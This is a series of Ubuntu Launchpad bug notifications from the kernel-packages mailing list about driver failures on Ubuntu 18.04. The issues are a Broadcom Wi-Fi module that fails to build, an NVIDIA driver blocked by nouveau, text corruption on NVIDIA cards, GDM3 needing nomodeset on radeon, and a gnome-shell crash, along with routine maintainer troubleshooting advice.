*** This bug is a duplicate of bug 1595765 *** https://bugs.launchpad.net/bugs/1595765 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1595765, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** Summary changed: - bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build + bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build [error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function)] ** This bug has been marked a duplicate of bug 1595765 Wifi drivers all fail to build [error: ‘IEEE80211_BAND_2GHZ’ undeclared here] -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1783823 Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build [error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function)] Status in bcmwl package in Ubuntu: New Bug description: Wifi ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 DKMSKernelVersion: 4.15.0-29-generic Date: Wed Jul 25 20:56:29 2018 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-1longsleep0:/var/lib/dkms/bcmwl/6.30.223.271+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:239:12: error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function); did you mean ‘NL80211_BAND_2GHZ’? InstallationDate: Installed on 2017-11-13 (254 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageVersion: 6.30.223.271+bdcom-1longsleep0 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build UpgradeStatus: Upgraded to bionic on 2018-07-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1783823/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783784] Re: NVIDIA Driver Not loading up
The nvidia kernel driver is built but not being used by the kernel: 0a:00.0 3D controller [0302]: NVIDIA Corporation GM108M [GeForce 940M] [10de:1347] (rev a2) ... Kernel driver in use: nouveau Kernel modules: nvidiafb, nouveau, nvidia_drm, nvidia and nvidia-installer.log says: -> The distribution-provided pre-install script failed! Are you sure you want to continue? (Answer: Continue installation) ERROR: The Nouveau kernel driver is currently in use by your system. This driver is incompatible with the NVIDIA driver, and must be disabled before proceeding. Please consult the NVIDIA driver README and your Linux distribution's documentation for details on how to correctly disable the Nouveau kernel driver. So I think what you need to do is disable the kernel modesetting system. That will prevent 'nouveau' from working and will make the proper 'nvidia' driver happy. To do that you just need to: 1. Add 'nomodeset' to your GRUB_CMDLINE_LINUX in /etc/default/grub. 2. sudo update-initramfs 3. Reboot 4. Tell us if it worked. If that didn't work then the next step is: 5. Run: dmesg > dmesg.txt 6. Send us the new dmesg.txt file. ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-390 (Ubuntu) ** Changed in: nvidia-graphics-drivers-390 (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1783784 Title: NVIDIA Driver Not loading up Status in nvidia-graphics-drivers-390 package in Ubuntu: Invalid Bug description: Few days ago the NVIDIA driver and display was working fine. But now its unable to load nvidia driers. I uninstalled and reinstalled nvidia drivers but it isn't working now. 'lsmod | grep nvidia' isn't working. Neither nvidia-settings opening. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Jul 26 20:12:25 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: nvidia, 390.77, 4.15.0-29-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:8096] Subsystem: Hewlett-Packard Company GM108M [GeForce 940M] [103c:8096] InstallationDate: Installed on 2018-07-19 (7 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: HP HP Pavilion Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=86533d4a-01e4-4bc4-a1fc-a6459c24c844 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/30/2015 dmi.bios.vendor: Insyde dmi.bios.version: F.41 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 8096 dmi.board.vendor: HP dmi.board.version: 89.23 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.41:bd07/30/2015:svnHP:pnHPPavilionNotebook:pvrType1ProductConfigId:rvnHP:rn8096:rvr89.23:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV X=Null dmi.product.name: HP Pavilion Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1783784/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783784] Re: NVIDIA Driver Not loading up
Also in future, be sure not to install graphics drivers manually from Nvidia because technically this isn't the right place to discuss their failure. Instead (next time but not now) you should install the driver by: sudo apt install nvidia-driver-390 ** Changed in: nvidia-graphics-drivers-390 (Ubuntu) Status: Incomplete => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1783784 Title: NVIDIA Driver Not loading up Status in nvidia-graphics-drivers-390 package in Ubuntu: Invalid Bug description: Few days ago the NVIDIA driver and display was working fine. But now its unable to load nvidia driers. I uninstalled and reinstalled nvidia drivers but it isn't working now. 'lsmod | grep nvidia' isn't working. Neither nvidia-settings opening. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Jul 26 20:12:25 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: nvidia, 390.77, 4.15.0-29-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:8096] Subsystem: Hewlett-Packard Company GM108M [GeForce 940M] [103c:8096] InstallationDate: Installed on 2018-07-19 (7 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: HP HP Pavilion Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=86533d4a-01e4-4bc4-a1fc-a6459c24c844 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/30/2015 dmi.bios.vendor: Insyde dmi.bios.version: F.41 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 8096 dmi.board.vendor: HP dmi.board.version: 89.23 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.41:bd07/30/2015:svnHP:pnHPPavilionNotebook:pvrType1ProductConfigId:rvnHP:rn8096:rvr89.23:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV X=Null dmi.product.name: HP Pavilion Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1783784/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783795] Re: [nvidia-390 + GeForce GTX 750 Ti] After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome-calculator, …
** Summary changed: - After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome-calculator, … + [nvidia-390 + GeForce GTX 750 Ti] After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome-calculator, … ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-390 (Ubuntu) ** Tags added: nvidia -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1783795 Title: [nvidia-390 + GeForce GTX 750 Ti] After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome- calculator, … Status in nvidia-graphics-drivers-390 package in Ubuntu: New Bug description: I upgraded from xenial to bionic and now experience issues with illegible, distorted textfields / textareas or scrollareas in a set of specific applications. For example: * The change log field on prompting for security updated or the list of software sources in the update-manager application * The textfield for entering the equations in gnome-calculator I'm not having any problems i.e. with Firefox et. al. I'm using a NVIDIA 750GTX with the officially bundled nvidia- driver-390. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Ist ein Verzeichnis: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 390.48 Thu Mar 22 00:42:57 PDT 2018 GCC version: gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3) .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Jul 26 17:30:41 2018 DistUpgraded: 2018-07-22 13:27:24,064 ERROR Cache can not be locked (E:Konnte Sperre /var/lib/dpkg/lock nicht bekommen - open (11: Die Ressource ist zur Zeit nicht verfügbar), E:Sperren des Administrationsverzeichnisses (/var/lib/dpkg/) nicht möglich, wird es von einem anderen Prozess verwendet?) DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: anbox, 1, 4.15.0-29-generic, x86_64: installed nvidia, 390.48, 4.15.0-29-generic, x86_64: installed spl, 0.7.5, 4.15.0-29-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) ExtraDebuggingInterest: Yes GraphicsCard: NVIDIA Corporation GM107 [GeForce GTX 750 Ti] [10de:1380] (rev a2) (prog-if 00 [VGA controller]) Subsystem: NVIDIA Corporation GM107 [GeForce GTX 750 Ti] [10de:1380] InstallationDate: Installed on 2014-07-06 (1481 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: Micro-Star International Co., Ltd. MS-7B45 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/usr/bin/fish ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=ZFS=rpool/ROOT ro boot=zfs SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to bionic on 2018-07-22 (4 days ago) dmi.bios.date: 03/08/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: A.40 dmi.board.asset.tag: Default string dmi.board.name: Z370 GAMING PRO CARBON (MS-7B45) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 2.0 dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrA.40:bd03/08/2018:svnMicro-StarInternationalCo.,Ltd.:pnMS-7B45:pvr2.0:rvnMicro-StarInternationalCo.,Ltd.:rnZ370GAMINGPROCARBON(MS-7B45):rvr2.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr2.0: dmi.product.family: Default string dmi.product.name: MS-7B45 dmi.product.version: 2.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
[Kernel-packages] [Bug 1783795] [NEW] [nvidia-390 + GeForce GTX 750 Ti] After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome-calculator, …
You have been subscribed to a public bug: I upgraded from xenial to bionic and now experience issues with illegible, distorted textfields / textareas or scrollareas in a set of specific applications. For example: * The change log field on prompting for security updated or the list of software sources in the update-manager application * The textfield for entering the equations in gnome-calculator I'm not having any problems i.e. with Firefox et. al. I'm using a NVIDIA 750GTX with the officially bundled nvidia-driver-390. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Ist ein Verzeichnis: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 390.48 Thu Mar 22 00:42:57 PDT 2018 GCC version: gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3) .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Jul 26 17:30:41 2018 DistUpgraded: 2018-07-22 13:27:24,064 ERROR Cache can not be locked (E:Konnte Sperre /var/lib/dpkg/lock nicht bekommen - open (11: Die Ressource ist zur Zeit nicht verfügbar), E:Sperren des Administrationsverzeichnisses (/var/lib/dpkg/) nicht möglich, wird es von einem anderen Prozess verwendet?) DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: anbox, 1, 4.15.0-29-generic, x86_64: installed nvidia, 390.48, 4.15.0-29-generic, x86_64: installed spl, 0.7.5, 4.15.0-29-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) ExtraDebuggingInterest: Yes GraphicsCard: NVIDIA Corporation GM107 [GeForce GTX 750 Ti] [10de:1380] (rev a2) (prog-if 00 [VGA controller]) Subsystem: NVIDIA Corporation GM107 [GeForce GTX 750 Ti] [10de:1380] InstallationDate: Installed on 2014-07-06 (1481 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: Micro-Star International Co., Ltd. MS-7B45 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/usr/bin/fish ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=ZFS=rpool/ROOT ro boot=zfs SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to bionic on 2018-07-22 (4 days ago) dmi.bios.date: 03/08/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: A.40 dmi.board.asset.tag: Default string dmi.board.name: Z370 GAMING PRO CARBON (MS-7B45) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 2.0 dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrA.40:bd03/08/2018:svnMicro-StarInternationalCo.,Ltd.:pnMS-7B45:pvr2.0:rvnMicro-StarInternationalCo.,Ltd.:rnZ370GAMINGPROCARBON(MS-7B45):rvr2.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr2.0: dmi.product.family: Default string dmi.product.name: MS-7B45 dmi.product.version: 2.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A ** Affects: nvidia-graphics-drivers-390 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic corruption ubuntu -- [nvidia-390 + GeForce GTX 750 Ti] After bionic upgrade: Corrupted, illegible text/scrollareas in apps like update-manager, gnome-calculator, … https://bugs.launchpad.net/bugs/1783795 You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783784] [NEW] NVIDIA Driver Not loading up
You have been subscribed to a public bug: Few days ago the NVIDIA driver and display was working fine. But now its unable to load nvidia driers. I uninstalled and reinstalled nvidia drivers but it isn't working now. 'lsmod | grep nvidia' isn't working. Neither nvidia-settings opening. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Jul 26 20:12:25 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: nvidia, 390.77, 4.15.0-29-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:8096] Subsystem: Hewlett-Packard Company GM108M [GeForce 940M] [103c:8096] InstallationDate: Installed on 2018-07-19 (7 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: HP HP Pavilion Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=86533d4a-01e4-4bc4-a1fc-a6459c24c844 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/30/2015 dmi.bios.vendor: Insyde dmi.bios.version: F.41 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 8096 dmi.board.vendor: HP dmi.board.version: 89.23 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.41:bd07/30/2015:svnHP:pnHPPavilionNotebook:pvrType1ProductConfigId:rvnHP:rn8096:rvr89.23:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV X=Null dmi.product.name: HP Pavilion Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 ** Affects: nvidia-graphics-drivers-390 (Ubuntu) Importance: Undecided Status: Incomplete ** Tags: amd64 apport-bug bionic possible-manual-nvidia-install ubuntu -- NVIDIA Driver Not loading up https://bugs.launchpad.net/bugs/1783784 You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782347] Re: [radeon] GDM3 fails to load without nomodeset
Mostly the same, yes. That's just a dumb bot... You can choose to either do as it asks or to ignore it and set 'Confirmed'. Separately, I still think something might be crashing, and when it does you wouldn't really know a crash had occurred. Only the absence of a working system is a hint. Please complete steps 2 and 3 from comment #10 just in case. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782347 Title: [radeon] GDM3 fails to load without nomodeset Status in gdm3 package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-07-12 (13 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()
That's correct. Because the "meta_renderer_native" part is Wayland-only :) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1754949 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() Status in gnome-shell package in Ubuntu: Confirmed Status in linux package in Ubuntu: In Progress Status in mutter package in Ubuntu: In Progress Bug description: https://gitlab.gnome.org/GNOME/mutter/issues/70 https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665 https://salsa.debian.org/gnome-team/mutter/merge_requests/6 --- The crash was reported after booting and logging in to an X.Org session. $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 $ apt-cache policy gnome-shell gnome-shell: Instalovaná verze: 3.27.92-0ubuntu1 Kandidát: 3.27.92-0ubuntu1 Tabulka verzí: *** 3.27.92-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 